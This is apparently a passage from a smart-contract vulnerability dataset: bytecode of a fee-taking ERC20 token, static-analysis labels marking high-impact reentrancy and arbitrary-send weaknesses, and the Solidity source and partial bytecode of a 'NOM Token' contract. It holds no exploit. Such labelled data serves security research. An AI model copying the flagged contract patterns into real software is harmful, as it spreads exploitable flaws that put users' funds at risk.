ffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ba90612e73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a90612d93565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114119190612eb3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590612e53565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f590612d53565b60405180910390fd5b60008111611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890612e33565b60405180910390fd5b6004600a819055506005600b81905550611559610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115c75750611597610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a1357600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116705750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61167957600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117245750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561177a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117925750601160179054906101000a900460ff165b15611842576012548111156117a657600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106117f157600080fd5b601e426117fe9190612fe9565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118ed5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119435750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611959576002600a819055506005600b819055505b600061196430610782565b9050601160159054906101000a900460ff161580156119d15750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119e95750601160169054906101000a900460ff165b15611a11576119f781611ca3565b60004790506000811115611a0f57611a0e47611b3a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aba5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ac457600090505b611ad084848484611f2b565b50505050565b6000838311158290611b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b159190612d31565b60405180910390fd5b5060008385611b2d91906130ca565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b8a600284611f5890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bb5573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c06600284611f5890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c31573d6000803e3d6000fd5b5050565b6000600854821115611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7390612d73565b60405180910390fd5b6000611c86611fa2565b9050611c9b8184611f5890919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cdb57611cda61329f565b5b604051908082528060200260200182016040528015611d095781602001602082028036833780820191505090505b5090503081600081518110611d2157611d20613270565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dc357600080fd5b505afa158015611dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dfb919061279b565b81600181518110611e0f57611e0e613270565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e7630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611253565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611eda959493929190612ece565b600060405180830381600087803b158015611ef457600080fd5b505af1158015611f08573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b80611f3957611f38611fcd565b5b611f44848484612010565b80611f5257611f516121db565b5b50505050565b6000611f9a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121ef565b905092915050565b6000806000611faf612252565b91509150611fc68183611f5890919063ffffffff16565b9250505090565b6000600a54148015611fe157506000600b54145b15611feb5761200e565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b600080600080600080612022876122b1565b95509550955095509550955061208086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061211585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612161816123c1565b61216b848361247e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121c89190612eb3565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b60008083118290612236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222d9190612d31565b60405180910390fd5b5060008385612245919061303f565b9050809150509392505050565b60008060006008549050600067016345785d8a0000905061228667016345785d8a0000600854611f5890919063ffffffff16565b8210156122a45760085467016345785d8a00009350935050506122ad565b81819350935050505b9091565b60008060008060008060008060006122ce8a600a54600b546124b8565b92509250925060006122de611fa2565b905060008060006122f18e87878761254e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ad6565b905092915050565b60008082846123729190612fe9565b9050838110156123b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ae90612db3565b60405180910390fd5b8091505092915050565b60006123cb611fa2565b905060006123e282846125d790919063ffffffff16565b905061243681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124938260085461231990919063ffffffff16565b6008819055506124ae8160095461236390919063ffffffff16565b6009819055505050565b6000806000806124e460646124d6888a6125d790919063ffffffff16565b611f5890919063ffffffff16565b9050600061250e6064612500888b6125d790919063ffffffff16565b611f5890919063ffffffff16565b9050600061253782612529858c61231990919063ffffffff16565b61231990919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061256785896125d790919063ffffffff16565b9050600061257e86896125d790919063ffffffff16565b9050600061259587896125d790919063ffffffff16565b905060006125be826125b0858761231990919063ffffffff16565b61231990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125ea576000905061264c565b600082846125f89190613070565b9050828482612607919061303f565b14612647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263e90612df3565b60405180910390fd5b809150505b92915050565b600061266561266084612f68565b612f43565b90508083825260208201905082856020860282011115612688576126876132d3565b5b60005b858110156126b8578161269e88826126c2565b84526020840193506020830192505060018101905061268b565b5050509392505050565b6000813590506126d1816135c0565b92915050565b6000815190506126e6816135c0565b92915050565b600082601f830112612701576127006132ce565b5b8135612711848260208601612652565b91505092915050565b600081359050612729816135d7565b92915050565b60008151905061273e816135d7565b92915050565b600081359050612753816135ee565b92915050565b600081519050612768816135ee565b92915050565b600060208284031215612784576127836132dd565b5b6000612792848285016126c2565b91505092915050565b6000602082840312156127b1576127b06132dd565b5b60006127bf848285016126d7565b91505092915050565b600080604083850312156127df576127de6132dd565b5b60006127ed858286016126c2565b92505060206127fe858286016126c2565b9150509250929050565b600080600060608486031215612821576128206132dd565b5b600061282f868287016126c2565b9350506020612840868287016126c2565b925050604061285186828701612744565b9150509250925092565b60008060408385031215612872576128716132dd565b5b6000612880858286016126c2565b925050602061289185828601612744565b9150509250929050565b6000602082840312156128b1576128b06132dd565b5b600082013567ffffffffffffffff8111156128cf576128ce6132d8565b5b6128db848285016126ec565b91505092915050565b6000602082840312156128fa576128f96132dd565b5b60006129088482850161271a565b91505092915050565b600060208284031215612927576129266132dd565b5b60006129358482850161272f565b91505092915050565b600060208284031215612954576129536132dd565b5b600061296284828501612744565b91505092915050565b600080600060608486031215612984576129836132dd565b5b600061299286828701612759565b93505060206129a386828701612759565b92505060406129b486828701612759565b9150509250925092565b60006129ca83836129d6565b60208301905092915050565b6129df816130fe565b82525050565b6129ee816130fe565b82525050565b60006129ff82612fa4565b612a098185612fc7565b9350612a1483612f94565b8060005b83811015612a45578151612a2c88826129be565b9750612a3783612fba565b925050600181019050612a18565b5085935050505092915050565b612a5b81613110565b82525050565b612a6a81613153565b82525050565b6000612a7b82612faf565b612a858185612fd8565b9350612a95818560208601613165565b612a9e816132e2565b840191505092915050565b6000612ab6602383612fd8565b9150612ac1826132f3565b604082019050919050565b6000612ad9602a83612fd8565b9150612ae482613342565b604082019050919050565b6000612afc602283612fd8565b9150612b0782613391565b604082019050919050565b6000612b1f601b83612fd8565b9150612b2a826133e0565b602082019050919050565b6000612b42601d83612fd8565b9150612b4d82613409565b602082019050919050565b6000612b65602183612fd8565b9150612b7082613432565b604082019050919050565b6000612b88602083612fd8565b9150612b9382613481565b602082019050919050565b6000612bab602983612fd8565b9150612bb6826134aa565b604082019050919050565b6000612bce602583612fd8565b9150612bd9826134f9565b604082019050919050565b6000612bf1602483612fd8565b9150612bfc82613548565b604082019050919050565b6000612c14601783612fd8565b9150612c1f82613597565b602082019050919050565b612c338161313c565b82525050565b612c4281613146565b82525050565b6000602082019050612c5d60008301846129e5565b92915050565b6000604082019050612c7860008301856129e5565b612c8560208301846129e5565b9392505050565b6000604082019050612ca160008301856129e5565b612cae6020830184612c2a565b9392505050565b600060c082019050612cca60008301896129e5565b612cd76020830188612c2a565b612ce46040830187612a61565b612cf16060830186612a61565b612cfe60808301856129e5565b612d0b60a0830184612c2a565b979650505050505050565b6000602082019050612d2b6000830184612a52565b92915050565b60006020820190508181036000830152612d4b8184612a70565b905092915050565b60006020820190508181036000830152612d6c81612aa9565b9050919050565b60006020820190508181036000830152612d8c81612acc565b9050919050565b60006020820190508181036000830152612dac81612aef565b9050919050565b60006020820190508181036000830152612dcc81612b12565b9050919050565b60006020820190508181036000830152612dec81612b35565b9050919050565b60006020820190508181036000830152612e0c81612b58565b9050919050565b60006020820190508181036000830152612e2c81612b7b565b9050919050565b60006020820190508181036000830152612e4c81612b9e565b9050919050565b60006020820190508181036000830152612e6c81612bc1565b9050919050565b60006020820190508181036000830152612e8c81612be4565b9050919050565b60006020820190508181036000830152612eac81612c07565b9050919050565b6000602082019050612ec86000830184612c2a565b92915050565b600060a082019050612ee36000830188612c2a565b612ef06020830187612a61565b8181036040830152612f0281866129f4565b9050612f1160608301856129e5565b612f1e6080830184612c2a565b9695505050505050565b6000602082019050612f3d6000830184612c39565b92915050565b6000612f4d612f5e565b9050612f598282613198565b919050565b6000604051905090565b600067ffffffffffffffff821115612f8357612f8261329f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ff48261313c565b9150612fff8361313c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561303457613033613212565b5b828201905092915050565b600061304a8261313c565b91506130558361313c565b92508261306557613064613241565b5b828204905092915050565b600061307b8261313c565b91506130868361313c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130bf576130be613212565b5b828202905092915050565b60006130d58261313c565b91506130e08361313c565b9250828210156130f3576130f2613212565b5b828203905092915050565b60006131098261311c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061315e8261313c565b9050919050565b60005b83811015613183578082015181840152602081019050613168565b83811115613192576000848401525b50505050565b6131a1826132e2565b810181811067ffffffffffffffff821117156131c0576131bf61329f565b5b80604052505050565b60006131d48261313c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561320757613206613212565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135c9816130fe565b81146135d457600080fd5b50565b6135e081613110565b81146135eb57600080fd5b50565b6135f78161313c565b811461360257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060c92b5df84931a77458ec7839d067559a2d9f64076c80aafe4765e1830be30764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,326 |
0x23ab81fd565d49259675eb87209d6899bf2e814d
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract NomToken is StandardToken {
event Mint(address indexed to, uint256 amount);
address public owner;
string public constant name = "NOM Token";
string public constant symbol = "NOM";
uint8 public constant decimals = 18;
uint256 public constant totalTokens = 5650000000 * (10 ** uint256(decimals));
uint256 public initialIssueMinting = totalTokens.mul(60).div(100); //60% of tokens
uint public constant initialIssueMintingDate = 1524873600; //28.04.2018 UTC
bool public initialIssueMinted = false;
uint256 public firstStageMinting = totalTokens.mul(10).div(100); //10% of tokens
uint public constant firstStageMintingDate = 1532736000; //28.07.2018 UTC
bool public firstStageMinted = false;
uint256 public secondStageMinting = totalTokens.mul(10).div(100); //10% of tokens
uint public constant secondStageMintingDate = 1540684800; //28.10.2018 UTC
bool public secondStageMinted = false;
uint256 public thirdStageMinting = totalTokens.mul(10).div(100); //10% of tokens
uint public constant thirdStageMintingDate = 1548633600; //28.01.2019 UTC
bool public thirdStageMinted = false;
uint256 public fourthStageMinting = totalTokens.mul(10).div(100); //10% of tokens
uint public constant fourthStageMintingDate = 1556409600; //28.04.2019 UTC
bool public fourthStageMinted = false;
function NomToken() public {
owner = msg.sender;
}
/**
* @dev Function to mint tokens
* @return A boolean that indicates if the operation was successful.
*/
function mint() public returns (bool) {
require(msg.sender == owner);
uint256 tokensToMint = 0;
if (now > initialIssueMintingDate && !initialIssueMinted) {
tokensToMint = tokensToMint.add(initialIssueMinting);
initialIssueMinted = true;
}
if (now > firstStageMintingDate && !firstStageMinted) {
tokensToMint = tokensToMint.add(firstStageMinting);
firstStageMinted = true;
}
if (now > secondStageMintingDate && !secondStageMinted) {
tokensToMint = tokensToMint.add(secondStageMinting);
secondStageMinted = true;
}
if (now > thirdStageMintingDate && !thirdStageMinted) {
tokensToMint = tokensToMint.add(thirdStageMinting);
thirdStageMinted = true;
}
if (now > fourthStageMintingDate && !fourthStageMinted) {
tokensToMint = tokensToMint.add(fourthStageMinting);
fourthStageMinted = true;
}
require(tokensToMint > 0);
uint256 newTotalSupply = totalSupply_.add(tokensToMint);
require(newTotalSupply <= totalTokens);
totalSupply_ = totalSupply_.add(tokensToMint);
balances[owner] = balances[owner].add(tokensToMint);
emit Mint(owner, tokensToMint);
emit Transfer(0x0, owner, tokensToMint);
return true;
}
}
|
0x6060604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610179578063095ea7b3146102035780631107fa00146102395780631249c58b1461025e57806318160ddd146102715780631862caec1461028457806323b872dd14610297578063313ce567146102bf5780634804e06f146102e85780634e07a7a5146102fb5780635ed4382f1461030e578063661884631461032157806370a082311461034357806375f9e6da146103625780637e1c0c0914610375578063842c17be146103885780638da5cb5b1461039b57806390f3b693146103ca57806395d89b41146103dd578063a0aaa87f146103f0578063a9059cbb14610403578063af3996c314610425578063b727b19414610438578063c51226b31461044b578063c978ee591461045e578063ceae7f6414610471578063d73dd62314610484578063dd62ed3e146104a6578063f3bd27a4146104cb575b600080fd5b341561018457600080fd5b61018c6104de565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c85780820151838201526020016101b0565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b610225600160a060020a0360043516602435610515565b604051901515815260200160405180910390f35b341561024457600080fd5b61024c610582565b60405190815260200160405180910390f35b341561026957600080fd5b61022561058a565b341561027c57600080fd5b61024c61080b565b341561028f57600080fd5b61024c610811565b34156102a257600080fd5b610225600160a060020a0360043581169060243516604435610817565b34156102ca57600080fd5b6102d2610997565b60405160ff909116815260200160405180910390f35b34156102f357600080fd5b61024c61099c565b341561030657600080fd5b6102256109a4565b341561031957600080fd5b61024c6109ad565b341561032c57600080fd5b610225600160a060020a03600435166024356109b3565b341561034e57600080fd5b61024c600160a060020a0360043516610aad565b341561036d57600080fd5b61024c610ac8565b341561038057600080fd5b61024c610ad0565b341561039357600080fd5b610225610ae0565b34156103a657600080fd5b6103ae610ae9565b604051600160a060020a03909116815260200160405180910390f35b34156103d557600080fd5b610225610af8565b34156103e857600080fd5b61018c610b01565b34156103fb57600080fd5b610225610b38565b341561040e57600080fd5b610225600160a060020a0360043516602435610b41565b341561043057600080fd5b610225610c53565b341561044357600080fd5b61024c610c5c565b341561045657600080fd5b61024c610c62565b341561046957600080fd5b61024c610c6a565b341561047c57600080fd5b61024c610c72565b341561048f57600080fd5b610225600160a060020a0360043516602435610c78565b34156104b157600080fd5b61024c600160a060020a0360043581169060243516610d1c565b34156104d657600080fd5b61024c610d47565b60408051908101604052600981527f4e4f4d20546f6b656e0000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b635c4e460081565b6003546000908190819033600160a060020a039081169116146105ac57600080fd5b60009150635ae3b980421180156105c6575060055460ff16155b156105ef576004546105df90839063ffffffff610d4d16565b6005805460ff1916600117905591505b635b5bb20042118015610605575060075460ff16155b1561062e5760065461061e90839063ffffffff610d4d16565b6007805460ff1916600117905591505b635bd4fc0042118015610644575060095460ff16155b1561066d5760085461065d90839063ffffffff610d4d16565b6009805460ff1916600117905591505b635c4e4600421180156106835750600b5460ff16155b156106ac57600a5461069c90839063ffffffff610d4d16565b600b805460ff1916600117905591505b635cc4ed00421180156106c25750600d5460ff16155b156106eb57600c546106db90839063ffffffff610d4d16565b600d805460ff1916600117905591505b600082116106f857600080fd5b60015461070b908363ffffffff610d4d16565b90506b12419209ba26d48b5200000081111561072657600080fd5b600154610739908363ffffffff610d4d16565b600155600354600160a060020a0316600090815260208190526040902054610767908363ffffffff610d4d16565b60038054600160a060020a039081166000908152602081905260409081902093909355905416907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600354600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a360019250505090565b60015490565b60065481565b6000600160a060020a038316151561082e57600080fd5b600160a060020a03841660009081526020819052604090205482111561085357600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561088657600080fd5b600160a060020a0384166000908152602081905260409020546108af908363ffffffff610d5a16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546108e4908363ffffffff610d4d16565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461092a908363ffffffff610d5a16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b601281565b635b5bb20081565b600b5460ff1681565b600c5481565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610a1057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610a47565b610a20818463ffffffff610d5a16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b635ae3b98081565b6b12419209ba26d48b5200000081565b60075460ff1681565b600354600160a060020a031681565b60055460ff1681565b60408051908101604052600381527f4e4f4d0000000000000000000000000000000000000000000000000000000000602082015281565b60095460ff1681565b6000600160a060020a0383161515610b5857600080fd5b600160a060020a033316600090815260208190526040902054821115610b7d57600080fd5b600160a060020a033316600090815260208190526040902054610ba6908363ffffffff610d5a16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610bdb908363ffffffff610d4d16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600d5460ff1681565b60045481565b635bd4fc0081565b635cc4ed0081565b600a5481565b600160a060020a